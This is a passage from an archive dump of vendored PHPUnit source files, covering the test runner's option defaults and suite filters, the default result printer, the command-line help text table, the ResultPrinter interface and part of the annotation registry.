$arguments['executionOrder'] ?? $phpunitConfiguration->executionOrder(); $arguments['resolveDependencies'] = $arguments['resolveDependencies'] ?? $phpunitConfiguration->resolveDependencies(); if (!isset($arguments['bootstrap']) && $phpunitConfiguration->hasBootstrap()) { $arguments['bootstrap'] = $phpunitConfiguration->bootstrap(); } if (!isset($arguments['cacheResultFile']) && $phpunitConfiguration->hasCacheResultFile()) { $arguments['cacheResultFile'] = $phpunitConfiguration->cacheResultFile(); } if (!isset($arguments['executionOrderDefects'])) { $arguments['executionOrderDefects'] = $phpunitConfiguration->defectsFirst() ? TestSuiteSorter::ORDER_DEFECTS_FIRST : TestSuiteSorter::ORDER_DEFAULT; } if ($phpunitConfiguration->conflictBetweenPrinterClassAndTestdox()) { $arguments['conflictBetweenPrinterClassAndTestdox'] = true; } $groupCliArgs = []; if (!empty($arguments['groups'])) { $groupCliArgs = $arguments['groups']; } $groupConfiguration = $arguments['configurationObject']->groups(); if (!isset($arguments['groups']) && $groupConfiguration->hasInclude()) { $arguments['groups'] = $groupConfiguration->include()->asArrayOfStrings(); } if (!isset($arguments['excludeGroups']) && $groupConfiguration->hasExclude()) { $arguments['excludeGroups'] = array_diff($groupConfiguration->exclude()->asArrayOfStrings(), $groupCliArgs); } $extensionHandler = new ExtensionHandler; foreach ($arguments['configurationObject']->extensions() as $extension) { $extensionHandler->registerExtension($extension, $this); } foreach ($arguments['configurationObject']->listeners() as $listener) { $arguments['listeners'][] = $extensionHandler->createTestListenerInstance($listener); } unset($extensionHandler); foreach ($arguments['unavailableExtensions'] as $extension) { $arguments['warnings'][] = sprintf( 'Extension "%s" is not available', $extension ); } $loggingConfiguration = $arguments['configurationObject']->logging(); if (!isset($arguments['noLogging'])) { if ($loggingConfiguration->hasText()) { $arguments['listeners'][] = new DefaultResultPrinter( $loggingConfiguration->text()->target()->path(), true ); } if (!isset($arguments['teamcityLogfile']) && $loggingConfiguration->hasTeamCity()) { $arguments['teamcityLogfile'] = $loggingConfiguration->teamCity()->target()->path(); } if (!isset($arguments['junitLogfile']) && $loggingConfiguration->hasJunit()) { $arguments['junitLogfile'] = $loggingConfiguration->junit()->target()->path(); } if (!isset($arguments['testdoxHTMLFile']) && $loggingConfiguration->hasTestDoxHtml()) { $arguments['testdoxHTMLFile'] = $loggingConfiguration->testDoxHtml()->target()->path(); } if (!isset($arguments['testdoxTextFile']) && $loggingConfiguration->hasTestDoxText()) { $arguments['testdoxTextFile'] = $loggingConfiguration->testDoxText()->target()->path(); } if (!isset($arguments['testdoxXMLFile']) && $loggingConfiguration->hasTestDoxXml()) { $arguments['testdoxXMLFile'] = $loggingConfiguration->testDoxXml()->target()->path(); } } $testdoxGroupConfiguration = $arguments['configurationObject']->testdoxGroups(); if (!isset($arguments['testdoxGroups']) && $testdoxGroupConfiguration->hasInclude()) { $arguments['testdoxGroups'] = $testdoxGroupConfiguration->include()->asArrayOfStrings(); } if (!isset($arguments['testdoxExcludeGroups']) && $testdoxGroupConfiguration->hasExclude()) { $arguments['testdoxExcludeGroups'] = $testdoxGroupConfiguration->exclude()->asArrayOfStrings(); } } $extensionHandler = new ExtensionHandler; foreach ($arguments['extensions'] as $extension) { $extensionHandler->registerExtension($extension, $this); } unset($extensionHandler); $arguments['backupGlobals'] = $arguments['backupGlobals'] ?? null; $arguments['backupStaticAttributes'] = $arguments['backupStaticAttributes'] ?? null; $arguments['beStrictAboutChangesToGlobalState'] = $arguments['beStrictAboutChangesToGlobalState'] ?? null; $arguments['beStrictAboutResourceUsageDuringSmallTests'] = $arguments['beStrictAboutResourceUsageDuringSmallTests'] ?? false; $arguments['cacheResult'] = $arguments['cacheResult'] ?? true; $arguments['colors'] = $arguments['colors'] ?? DefaultResultPrinter::COLOR_DEFAULT; $arguments['columns'] = $arguments['columns'] ?? 80; $arguments['convertDeprecationsToExceptions'] = $arguments['convertDeprecationsToExceptions'] ?? false; $arguments['convertErrorsToExceptions'] = $arguments['convertErrorsToExceptions'] ?? true; $arguments['convertNoticesToExceptions'] = $arguments['convertNoticesToExceptions'] ?? true; $arguments['convertWarningsToExceptions'] = $arguments['convertWarningsToExceptions'] ?? true; $arguments['crap4jThreshold'] = $arguments['crap4jThreshold'] ?? 30; $arguments['disallowTestOutput'] = $arguments['disallowTestOutput'] ?? false; $arguments['disallowTodoAnnotatedTests'] = $arguments['disallowTodoAnnotatedTests'] ?? false; $arguments['defaultTimeLimit'] = $arguments['defaultTimeLimit'] ?? 0; $arguments['enforceTimeLimit'] = $arguments['enforceTimeLimit'] ?? false; $arguments['excludeGroups'] = $arguments['excludeGroups'] ?? []; $arguments['executionOrder'] = $arguments['executionOrder'] ?? TestSuiteSorter::ORDER_DEFAULT; $arguments['executionOrderDefects'] = $arguments['executionOrderDefects'] ?? TestSuiteSorter::ORDER_DEFAULT; $arguments['failOnIncomplete'] = $arguments['failOnIncomplete'] ?? false; $arguments['failOnRisky'] = $arguments['failOnRisky'] ?? false; $arguments['failOnSkipped'] = $arguments['failOnSkipped'] ?? false; $arguments['failOnWarning'] = $arguments['failOnWarning'] ?? false; $arguments['groups'] = $arguments['groups'] ?? []; $arguments['noInteraction'] = $arguments['noInteraction'] ?? false; $arguments['processIsolation'] = $arguments['processIsolation'] ?? false; $arguments['randomOrderSeed'] = $arguments['randomOrderSeed'] ?? time(); $arguments['registerMockObjectsFromTestArgumentsRecursively'] = $arguments['registerMockObjectsFromTestArgumentsRecursively'] ?? false; $arguments['repeat'] = $arguments['repeat'] ?? false; $arguments['reportHighLowerBound'] = $arguments['reportHighLowerBound'] ?? 90; $arguments['reportLowUpperBound'] = $arguments['reportLowUpperBound'] ?? 50; $arguments['reportUselessTests'] = $arguments['reportUselessTests'] ?? true; $arguments['reverseList'] = $arguments['reverseList'] ?? false; $arguments['resolveDependencies'] = $arguments['resolveDependencies'] ?? true; $arguments['stopOnError'] = $arguments['stopOnError'] ?? false; $arguments['stopOnFailure'] = $arguments['stopOnFailure'] ?? false; $arguments['stopOnIncomplete'] = $arguments['stopOnIncomplete'] ?? false; $arguments['stopOnRisky'] = $arguments['stopOnRisky'] ?? false; $arguments['stopOnSkipped'] = $arguments['stopOnSkipped'] ?? false; $arguments['stopOnWarning'] = $arguments['stopOnWarning'] ?? false; $arguments['stopOnDefect'] = $arguments['stopOnDefect'] ?? false; $arguments['strictCoverage'] = $arguments['strictCoverage'] ?? false; $arguments['testdoxExcludeGroups'] = $arguments['testdoxExcludeGroups'] ?? []; $arguments['testdoxGroups'] = $arguments['testdoxGroups'] ?? []; $arguments['timeoutForLargeTests'] = $arguments['timeoutForLargeTests'] ?? 60; $arguments['timeoutForMediumTests'] = $arguments['timeoutForMediumTests'] ?? 10; $arguments['timeoutForSmallTests'] = $arguments['timeoutForSmallTests'] ?? 1; $arguments['verbose'] = $arguments['verbose'] ?? false; if ($arguments['reportLowUpperBound'] > $arguments['reportHighLowerBound']) { $arguments['reportLowUpperBound'] = 50; $arguments['reportHighLowerBound'] = 90; } } private function processSuiteFilters(TestSuite $suite, array $arguments): void { if (!$arguments['filter'] && empty($arguments['groups']) && empty($arguments['excludeGroups']) && empty($arguments['testsCovering']) && empty($arguments['testsUsing'])) { return; } $filterFactory = new Factory; if (!empty($arguments['excludeGroups'])) { $filterFactory->addFilter( new ReflectionClass(ExcludeGroupFilterIterator::class), $arguments['excludeGroups'] ); } if (!empty($arguments['groups'])) { $filterFactory->addFilter( new ReflectionClass(IncludeGroupFilterIterator::class), $arguments['groups'] ); } if (!empty($arguments['testsCovering'])) { $filterFactory->addFilter( new ReflectionClass(IncludeGroupFilterIterator::class), array_map( static function (string $name): string { return '__phpunit_covers_' . $name; }, $arguments['testsCovering'] ) ); } if (!empty($arguments['testsUsing'])) { $filterFactory->addFilter( new ReflectionClass(IncludeGroupFilterIterator::class), array_map( static function (string $name): string { return '__phpunit_uses_' . $name; }, $arguments['testsUsing'] ) ); } if ($arguments['filter']) { $filterFactory->addFilter( new ReflectionClass(NameFilterIterator::class), $arguments['filter'] ); } $suite->injectFilter($filterFactory); } private function writeMessage(string $type, string $message): void { if (!$this->messagePrinted) { $this->write("\n"); } $this->write( sprintf( "%-15s%s\n", $type . ':', $message ) ); $this->messagePrinted = true; } private function createPrinter(string $class, array $arguments): ResultPrinter { $object = new $class( (isset($arguments['stderr']) && $arguments['stderr'] === true) ? 'php://stderr' : null, $arguments['verbose'], $arguments['colors'], $arguments['debug'], $arguments['columns'], $arguments['reverseList'] ); assert($object instanceof ResultPrinter); return $object; } private function codeCoverageGenerationStart(string $format): void { $this->write( sprintf( "\nGenerating code coverage report in %s format ... ", $format ) ); $this->timer->start(); } private function codeCoverageGenerationSucceeded(): void { $this->write( sprintf( "done [%s]\n", $this->timer->stop()->asString() ) ); } private function codeCoverageGenerationFailed(\Exception $e): void { $this->write( sprintf( "failed [%s]\n%s\n", $this->timer->stop()->asString(), $e->getMessage() ) ); } } res/readability/vendor/phpunit/phpunit/src/TextUI/DefaultResultPrinter.php000064400000035757147577714370023161 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use const PHP_EOL; use function array_map; use function array_reverse; use function count; use function floor; use function implode; use function in_array; use function is_int; use function max; use function preg_split; use function sprintf; use function str_pad; use function str_repeat; use function strlen; use function vsprintf; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\Exception; use PHPUnit\Framework\InvalidArgumentException; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestFailure; use PHPUnit\Framework\TestResult; use PHPUnit\Framework\TestSuite; use PHPUnit\Framework\Warning; use PHPUnit\Runner\PhptTestCase; use PHPUnit\Util\Color; use PHPUnit\Util\Printer; use SebastianBergmann\Environment\Console; use SebastianBergmann\Timer\ResourceUsageFormatter; use SebastianBergmann\Timer\Timer; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class DefaultResultPrinter extends Printer implements ResultPrinter { public const EVENT_TEST_START = 0; public const EVENT_TEST_END = 1; public const EVENT_TESTSUITE_START = 2; public const EVENT_TESTSUITE_END = 3; public const COLOR_NEVER = 'never'; public const COLOR_AUTO = 'auto'; public const COLOR_ALWAYS = 'always'; public const COLOR_DEFAULT = self::COLOR_NEVER; private const AVAILABLE_COLORS = [self::COLOR_NEVER, self::COLOR_AUTO, self::COLOR_ALWAYS]; /** * @var int */ protected $column = 0; /** * @var int */ protected $maxColumn; /** * @var bool */ protected $lastTestFailed = false; /** * @var int */ protected $numAssertions = 0; /** * @var int */ protected $numTests = -1; /** * @var int */ protected $numTestsRun = 0; /** * @var int */ protected $numTestsWidth; /** * @var bool */ protected $colors = false; /** * @var bool */ protected $debug = false; /** * @var bool */ protected $verbose = false; /** * @var int */ private $numberOfColumns; /** * @var bool */ private $reverse; /** * @var bool */ private $defectListPrinted = false; /** * @var Timer */ private $timer; /** * Constructor. * * @param null|resource|string $out * @param int|string $numberOfColumns * * @throws Exception */ public function __construct($out = null, bool $verbose = false, string $colors = self::COLOR_DEFAULT, bool $debug = false, $numberOfColumns = 80, bool $reverse = false) { parent::__construct($out); if (!in_array($colors, self::AVAILABLE_COLORS, true)) { throw InvalidArgumentException::create( 3, vsprintf('value from "%s", "%s" or "%s"', self::AVAILABLE_COLORS) ); } if (!is_int($numberOfColumns) && $numberOfColumns !== 'max') { throw InvalidArgumentException::create(5, 'integer or "max"'); } $console = new Console; $maxNumberOfColumns = $console->getNumberOfColumns(); if ($numberOfColumns === 'max' || ($numberOfColumns !== 80 && $numberOfColumns > $maxNumberOfColumns)) { $numberOfColumns = $maxNumberOfColumns; } $this->numberOfColumns = $numberOfColumns; $this->verbose = $verbose; $this->debug = $debug; $this->reverse = $reverse; if ($colors === self::COLOR_AUTO && $console->hasColorSupport()) { $this->colors = true; } else { $this->colors = (self::COLOR_ALWAYS === $colors); } $this->timer = new Timer; $this->timer->start(); } public function printResult(TestResult $result): void { $this->printHeader($result); $this->printErrors($result); $this->printWarnings($result); $this->printFailures($result); $this->printRisky($result); if ($this->verbose) { $this->printIncompletes($result); $this->printSkipped($result); } $this->printFooter($result); } /** * An error occurred. */ public function addError(Test $test, Throwable $t, float $time): void { $this->writeProgressWithColor('fg-red, bold', 'E'); $this->lastTestFailed = true; } /** * A failure occurred. */ public function addFailure(Test $test, AssertionFailedError $e, float $time): void { $this->writeProgressWithColor('bg-red, fg-white', 'F'); $this->lastTestFailed = true; } /** * A warning occurred. */ public function addWarning(Test $test, Warning $e, float $time): void { $this->writeProgressWithColor('fg-yellow, bold', 'W'); $this->lastTestFailed = true; } /** * Incomplete test. */ public function addIncompleteTest(Test $test, Throwable $t, float $time): void { $this->writeProgressWithColor('fg-yellow, bold', 'I'); $this->lastTestFailed = true; } /** * Risky test. */ public function addRiskyTest(Test $test, Throwable $t, float $time): void { $this->writeProgressWithColor('fg-yellow, bold', 'R'); $this->lastTestFailed = true; } /** * Skipped test. */ public function addSkippedTest(Test $test, Throwable $t, float $time): void { $this->writeProgressWithColor('fg-cyan, bold', 'S'); $this->lastTestFailed = true; } /** * A testsuite started. */ public function startTestSuite(TestSuite $suite): void { if ($this->numTests == -1) { $this->numTests = count($suite); $this->numTestsWidth = strlen((string) $this->numTests); $this->maxColumn = $this->numberOfColumns - strlen(' / (XXX%)') - (2 * $this->numTestsWidth); } } /** * A testsuite ended. */ public function endTestSuite(TestSuite $suite): void { } /** * A test started. */ public function startTest(Test $test): void { if ($this->debug) { $this->write( sprintf( "Test '%s' started\n", \PHPUnit\Util\Test::describeAsString($test) ) ); } } /** * A test ended. */ public function endTest(Test $test, float $time): void { if ($this->debug) { $this->write( sprintf( "Test '%s' ended\n", \PHPUnit\Util\Test::describeAsString($test) ) ); } if (!$this->lastTestFailed) { $this->writeProgress('.'); } if ($test instanceof TestCase) { $this->numAssertions += $test->getNumAssertions(); } elseif ($test instanceof PhptTestCase) { $this->numAssertions++; } $this->lastTestFailed = false; if ($test instanceof TestCase && !$test->hasExpectationOnOutput()) { $this->write($test->getActualOutput()); } } protected function printDefects(array $defects, string $type): void { $count = count($defects); if ($count == 0) { return; } if ($this->defectListPrinted) { $this->write("\n--\n\n"); } $this->write( sprintf( "There %s %d %s%s:\n", ($count == 1) ? 'was' : 'were', $count, $type, ($count == 1) ? '' : 's' ) ); $i = 1; if ($this->reverse) { $defects = array_reverse($defects); } foreach ($defects as $defect) { $this->printDefect($defect, $i++); } $this->defectListPrinted = true; } protected function printDefect(TestFailure $defect, int $count): void { $this->printDefectHeader($defect, $count); $this->printDefectTrace($defect); } protected function printDefectHeader(TestFailure $defect, int $count): void { $this->write( sprintf( "\n%d) %s\n", $count, $defect->getTestName() ) ); } protected function printDefectTrace(TestFailure $defect): void { $e = $defect->thrownException(); $this->write((string) $e); while ($e = $e->getPrevious()) { $this->write("\nCaused by\n" . $e); } } protected function printErrors(TestResult $result): void { $this->printDefects($result->errors(), 'error'); } protected function printFailures(TestResult $result): void { $this->printDefects($result->failures(), 'failure'); } protected function printWarnings(TestResult $result): void { $this->printDefects($result->warnings(), 'warning'); } protected function printIncompletes(TestResult $result): void { $this->printDefects($result->notImplemented(), 'incomplete test'); } protected function printRisky(TestResult $result): void { $this->printDefects($result->risky(), 'risky test'); } protected function printSkipped(TestResult $result): void { $this->printDefects($result->skipped(), 'skipped test'); } protected function printHeader(TestResult $result): void { if (count($result) > 0) { $this->write(PHP_EOL . PHP_EOL . (new ResourceUsageFormatter)->resourceUsage($this->timer->stop()) . PHP_EOL . PHP_EOL); } } protected function printFooter(TestResult $result): void { if (count($result) === 0) { $this->writeWithColor( 'fg-black, bg-yellow', 'No tests executed!' ); return; } if ($result->wasSuccessfulAndNoTestIsRiskyOrSkippedOrIncomplete()) { $this->writeWithColor( 'fg-black, bg-green', sprintf( 'OK (%d test%s, %d assertion%s)', count($result), (count($result) === 1) ? '' : 's', $this->numAssertions, ($this->numAssertions === 1) ? '' : 's' ) ); return; } $color = 'fg-black, bg-yellow'; if ($result->wasSuccessful()) { if ($this->verbose || !$result->allHarmless()) { $this->write("\n"); } $this->writeWithColor( $color, 'OK, but incomplete, skipped, or risky tests!' ); } else { $this->write("\n"); if ($result->errorCount()) { $color = 'fg-white, bg-red'; $this->writeWithColor( $color, 'ERRORS!' ); } elseif ($result->failureCount()) { $color = 'fg-white, bg-red'; $this->writeWithColor( $color, 'FAILURES!' ); } elseif ($result->warningCount()) { $color = 'fg-black, bg-yellow'; $this->writeWithColor( $color, 'WARNINGS!' ); } } $this->writeCountString(count($result), 'Tests', $color, true); $this->writeCountString($this->numAssertions, 'Assertions', $color, true); $this->writeCountString($result->errorCount(), 'Errors', $color); $this->writeCountString($result->failureCount(), 'Failures', $color); $this->writeCountString($result->warningCount(), 'Warnings', $color); $this->writeCountString($result->skippedCount(), 'Skipped', $color); $this->writeCountString($result->notImplementedCount(), 'Incomplete', $color); $this->writeCountString($result->riskyCount(), 'Risky', $color); $this->writeWithColor($color, '.'); } protected function writeProgress(string $progress): void { if ($this->debug) { return; } $this->write($progress); $this->column++; $this->numTestsRun++; if ($this->column == $this->maxColumn || $this->numTestsRun == $this->numTests) { if ($this->numTestsRun == $this->numTests) { $this->write(str_repeat(' ', $this->maxColumn - $this->column)); } $this->write( sprintf( ' %' . $this->numTestsWidth . 'd / %' . $this->numTestsWidth . 'd (%3s%%)', $this->numTestsRun, $this->numTests, floor(($this->numTestsRun / $this->numTests) * 100) ) ); if ($this->column == $this->maxColumn) { $this->writeNewLine(); } } } protected function writeNewLine(): void { $this->column = 0; $this->write("\n"); } /** * Formats a buffer with a specified ANSI color sequence if colors are * enabled. */ protected function colorizeTextBox(string $color, string $buffer): string { if (!$this->colors) { return $buffer; } $lines = preg_split('/\r\n|\r|\n/', $buffer); $padding = max(array_map('\strlen', $lines)); $styledLines = []; foreach ($lines as $line) { $styledLines[] = Color::colorize($color, str_pad($line, $padding)); } return implode(PHP_EOL, $styledLines); } /** * Writes a buffer out with a color sequence if colors are enabled. */ protected function writeWithColor(string $color, string $buffer, bool $lf = true): void { $this->write($this->colorizeTextBox($color, $buffer)); if ($lf) { $this->write(PHP_EOL); } } /** * Writes progress with a color sequence if colors are enabled. */ protected function writeProgressWithColor(string $color, string $buffer): void { $buffer = $this->colorizeTextBox($color, $buffer); $this->writeProgress($buffer); } private function writeCountString(int $count, string $name, string $color, bool $always = false): void { static $first = true; if ($always || $count > 0) { $this->writeWithColor( $color, sprintf( '%s%s: %d', !$first ? ', ' : '', $name, $count ), false ); $first = false; } } } res/readability/vendor/phpunit/phpunit/src/TextUI/Help.php000064400000032241147577714370017703 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use const PHP_EOL; use function count; use function explode; use function max; use function preg_replace_callback; use function str_pad; use function str_repeat; use function strlen; use function wordwrap; use PHPUnit\Util\Color; use SebastianBergmann\Environment\Console; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Help { private const LEFT_MARGIN = ' '; private const HELP_TEXT = [ 'Usage' => [ ['text' => 'phpunit [options] UnitTest.php'], ['text' => 'phpunit [options] '], ], 'Code Coverage Options' => [ ['arg' => '--coverage-clover ', 'desc' => 'Generate code coverage report in Clover XML format'], ['arg' => '--coverage-cobertura ', 'desc' => 'Generate code coverage report in Cobertura XML format'], ['arg' => '--coverage-crap4j ', 'desc' => 'Generate code coverage report in Crap4J XML format'], ['arg' => '--coverage-html ', 'desc' => 'Generate code coverage report in HTML format'], ['arg' => '--coverage-php ', 'desc' => 'Export PHP_CodeCoverage object to file'], ['arg' => '--coverage-text=', 'desc' => 'Generate code coverage report in text format [default: standard output]'], ['arg' => '--coverage-xml ', 'desc' => 'Generate code coverage report in PHPUnit XML format'], ['arg' => '--coverage-cache ', 'desc' => 'Cache static analysis results'], ['arg' => '--warm-coverage-cache', 'desc' => 'Warm static analysis cache'], ['arg' => '--coverage-filter ', 'desc' => 'Include in code coverage analysis'], ['arg' => '--path-coverage', 'desc' => 'Perform path coverage analysis'], ['arg' => '--disable-coverage-ignore', 'desc' => 'Disable annotations for ignoring code coverage'], ['arg' => '--no-coverage', 'desc' => 'Ignore code coverage configuration'], ], 'Logging Options' => [ ['arg' => '--log-junit ', 'desc' => 'Log test execution in JUnit XML format to file'], ['arg' => '--log-teamcity ', 'desc' => 'Log test execution in TeamCity format to file'], ['arg' => '--testdox-html ', 'desc' => 'Write agile documentation in HTML format to file'], ['arg' => '--testdox-text ', 'desc' => 'Write agile documentation in Text format to file'], ['arg' => '--testdox-xml ', 'desc' => 'Write agile documentation in XML format to file'], ['arg' => '--reverse-list', 'desc' => 'Print defects in reverse order'], ['arg' => '--no-logging', 'desc' => 'Ignore logging configuration'], ], 'Test Selection Options' => [ ['arg' => '--list-suites', 'desc' => 'List available test suites'], ['arg' => '--testsuite ', 'desc' => 'Filter which testsuite to run'], ['arg' => '--list-groups', 'desc' => 'List available test groups'], ['arg' => '--group ', 'desc' => 'Only runs tests from the specified group(s)'], ['arg' => '--exclude-group ', 'desc' => 'Exclude tests from the specified group(s)'], ['arg' => '--covers ', 'desc' => 'Only runs tests annotated with "@covers "'], ['arg' => '--uses ', 'desc' => 'Only runs tests annotated with "@uses "'], ['arg' => '--list-tests', 'desc' => 'List available tests'], ['arg' => '--list-tests-xml ', 'desc' => 'List available tests in XML format'], ['arg' => '--filter ', 'desc' => 'Filter which tests to run'], ['arg' => '--test-suffix ', 'desc' => 'Only search for test in files with specified suffix(es). Default: Test.php,.phpt'], ], 'Test Execution Options' => [ ['arg' => '--dont-report-useless-tests', 'desc' => 'Do not report tests that do not test anything'], ['arg' => '--strict-coverage', 'desc' => 'Be strict about @covers annotation usage'], ['arg' => '--strict-global-state', 'desc' => 'Be strict about changes to global state'], ['arg' => '--disallow-test-output', 'desc' => 'Be strict about output during tests'], ['arg' => '--disallow-resource-usage', 'desc' => 'Be strict about resource usage during small tests'], ['arg' => '--enforce-time-limit', 'desc' => 'Enforce time limit based on test size'], ['arg' => '--default-time-limit ', 'desc' => 'Timeout in seconds for tests without @small, @medium or @large'], ['arg' => '--disallow-todo-tests', 'desc' => 'Disallow @todo-annotated tests'], ['spacer' => ''], ['arg' => '--process-isolation', 'desc' => 'Run each test in a separate PHP process'], ['arg' => '--globals-backup', 'desc' => 'Backup and restore $GLOBALS for each test'], ['arg' => '--static-backup', 'desc' => 'Backup and restore static attributes for each test'], ['spacer' => ''], ['arg' => '--colors ', 'desc' => 'Use colors in output ("never", "auto" or "always")'], ['arg' => '--columns ', 'desc' => 'Number of columns to use for progress output'], ['arg' => '--columns max', 'desc' => 'Use maximum number of columns for progress output'], ['arg' => '--stderr', 'desc' => 'Write to STDERR instead of STDOUT'], ['arg' => '--stop-on-defect', 'desc' => 'Stop execution upon first not-passed test'], ['arg' => '--stop-on-error', 'desc' => 'Stop execution upon first error'], ['arg' => '--stop-on-failure', 'desc' => 'Stop execution upon first error or failure'], ['arg' => '--stop-on-warning', 'desc' => 'Stop execution upon first warning'], ['arg' => '--stop-on-risky', 'desc' => 'Stop execution upon first risky test'], ['arg' => '--stop-on-skipped', 'desc' => 'Stop execution upon first skipped test'], ['arg' => '--stop-on-incomplete', 'desc' => 'Stop execution upon first incomplete test'], ['arg' => '--fail-on-incomplete', 'desc' => 'Treat incomplete tests as failures'], ['arg' => '--fail-on-risky', 'desc' => 'Treat risky tests as failures'], ['arg' => '--fail-on-skipped', 'desc' => 'Treat skipped tests as failures'], ['arg' => '--fail-on-warning', 'desc' => 'Treat tests with warnings as failures'], ['arg' => '-v|--verbose', 'desc' => 'Output more verbose information'], ['arg' => '--debug', 'desc' => 'Display debugging information'], ['spacer' => ''], ['arg' => '--repeat ', 'desc' => 'Runs the test(s) repeatedly'], ['arg' => '--teamcity', 'desc' => 'Report test execution progress in TeamCity format'], ['arg' => '--testdox', 'desc' => 'Report test execution progress in TestDox format'], ['arg' => '--testdox-group', 'desc' => 'Only include tests from the specified group(s)'], ['arg' => '--testdox-exclude-group', 'desc' => 'Exclude tests from the specified group(s)'], ['arg' => '--no-interaction', 'desc' => 'Disable TestDox progress animation'], ['arg' => '--printer ', 'desc' => 'TestListener implementation to use'], ['spacer' => ''], ['arg' => '--order-by ', 'desc' => 'Run tests in order: default|defects|duration|no-depends|random|reverse|size'], ['arg' => '--random-order-seed ', 'desc' => 'Use a specific random seed for random order'], ['arg' => '--cache-result', 'desc' => 'Write test results to cache file'], ['arg' => '--do-not-cache-result', 'desc' => 'Do not write test results to cache file'], ], 'Configuration Options' => [ ['arg' => '--prepend ', 'desc' => 'A PHP script that is included as early as possible'], ['arg' => '--bootstrap ', 'desc' => 'A PHP script that is included before the tests run'], ['arg' => '-c|--configuration ', 'desc' => 'Read configuration from XML file'], ['arg' => '--no-configuration', 'desc' => 'Ignore default configuration file (phpunit.xml)'], ['arg' => '--extensions ', 'desc' => 'A comma separated list of PHPUnit extensions to load'], ['arg' => '--no-extensions', 'desc' => 'Do not load PHPUnit extensions'], ['arg' => '--include-path ', 'desc' => 'Prepend PHP\'s include_path with given path(s)'], ['arg' => '-d ', 'desc' => 'Sets a php.ini value'], ['arg' => '--cache-result-file ', 'desc' => 'Specify result cache path and filename'], ['arg' => '--generate-configuration', 'desc' => 'Generate configuration file with suggested settings'], ['arg' => '--migrate-configuration', 'desc' => 'Migrate configuration file to current format'], ], 'Miscellaneous Options' => [ ['arg' => '-h|--help', 'desc' => 'Prints this usage information'], ['arg' => '--version', 'desc' => 'Prints the version and exits'], ['arg' => '--atleast-version ', 'desc' => 'Checks that version is greater than min and exits'], ['arg' => '--check-version', 'desc' => 'Check whether PHPUnit is the latest version'], ], ]; /** * @var int Number of columns required to write the longest option name to the console */ private $maxArgLength = 0; /** * @var int Number of columns left for the description field after padding and option */ private $maxDescLength; /** * @var bool Use color highlights for sections, options and parameters */ private $hasColor = false; public function __construct(?int $width = null, ?bool $withColor = null) { if ($width === null) { $width = (new Console)->getNumberOfColumns(); } if ($withColor === null) { $this->hasColor = (new Console)->hasColorSupport(); } else { $this->hasColor = $withColor; } foreach (self::HELP_TEXT as $options) { foreach ($options as $option) { if (isset($option['arg'])) { $this->maxArgLength = max($this->maxArgLength, isset($option['arg']) ? strlen($option['arg']) : 0); } } } $this->maxDescLength = $width - $this->maxArgLength - 4; } /** * Write the help file to the CLI, adapting width and colors to the console. */ public function writeToConsole(): void { if ($this->hasColor) { $this->writeWithColor(); } else { $this->writePlaintext(); } } private function writePlaintext(): void { foreach (self::HELP_TEXT as $section => $options) { print "{$section}:" . PHP_EOL; if ($section !== 'Usage') { print PHP_EOL; } foreach ($options as $option) { if (isset($option['spacer'])) { print PHP_EOL; } if (isset($option['text'])) { print self::LEFT_MARGIN . $option['text'] . PHP_EOL; } if (isset($option['arg'])) { $arg = str_pad($option['arg'], $this->maxArgLength); print self::LEFT_MARGIN . $arg . ' ' . $option['desc'] . PHP_EOL; } } print PHP_EOL; } } private function writeWithColor(): void { foreach (self::HELP_TEXT as $section => $options) { print Color::colorize('fg-yellow', "{$section}:") . PHP_EOL; foreach ($options as $option) { if (isset($option['spacer'])) { print PHP_EOL; } if (isset($option['text'])) { print self::LEFT_MARGIN . $option['text'] . PHP_EOL; } if (isset($option['arg'])) { $arg = Color::colorize('fg-green', str_pad($option['arg'], $this->maxArgLength)); $arg = preg_replace_callback( '/(<[^>]+>)/', static function ($matches) { return Color::colorize('fg-cyan', $matches[0]); }, $arg ); $desc = explode(PHP_EOL, wordwrap($option['desc'], $this->maxDescLength, PHP_EOL)); print self::LEFT_MARGIN . $arg . ' ' . $desc[0] . PHP_EOL; for ($i = 1; $i < count($desc); $i++) { print str_repeat(' ', $this->maxArgLength + 3) . $desc[$i] . PHP_EOL; } } } print PHP_EOL; } } } res/readability/vendor/phpunit/phpunit/src/TextUI/ResultPrinter.php000064400000001156147577714370021636 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use PHPUnit\Framework\TestListener; use PHPUnit\Framework\TestResult; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ResultPrinter extends TestListener { public function printResult(TestResult $result): void; public function write(string $buffer): void; } res/readability/vendor/phpunit/phpunit/src/Util/Annotation/Registry.php000064400000005146147577714370022474 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Annotation; use function array_key_exists; use PHPUnit\Util\Exception; use ReflectionClass; use ReflectionException; use ReflectionMethod; /** * Reflection information, and therefore DocBlock information, is static within * a single PHP process. It is therefore okay to use a Singleton registry here. * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Registry { /** @var null|self */ private static $instance; /** @var array indexed by class name */ private $classDocBlocks = []; /** @var array> indexed by class name and method name */ private $methodDocBlocks = []; public static function getInstance(): self { return self::$instance ?? self::$instance = new self; } private function __construct() { } /** * @throws Exception * @psalm-param class-string $class */ public function forClassName(string $class): DocBlock { if (array_key_exists($class, $this->classDocBlocks)) { return $this->classDocBlocks[$class]; } try { $reflection = new ReflectionClass($class); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd return $this->classDocBlocks[$class] = DocBlock::ofClass($reflection); } /** * @throws Exception * @psalm-param class-string $classInHierarchy */ public function forMethod(string $classInHierarchy, string $method): DocBlock { if (isset($this->methodDocBlocks[$classInHierarchy][$method])) { return $this->methodDocBlocks[$classInHierarchy][$method]; } try { $reflection = new ReflectionMethod($classInHierarchy, $method); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd return 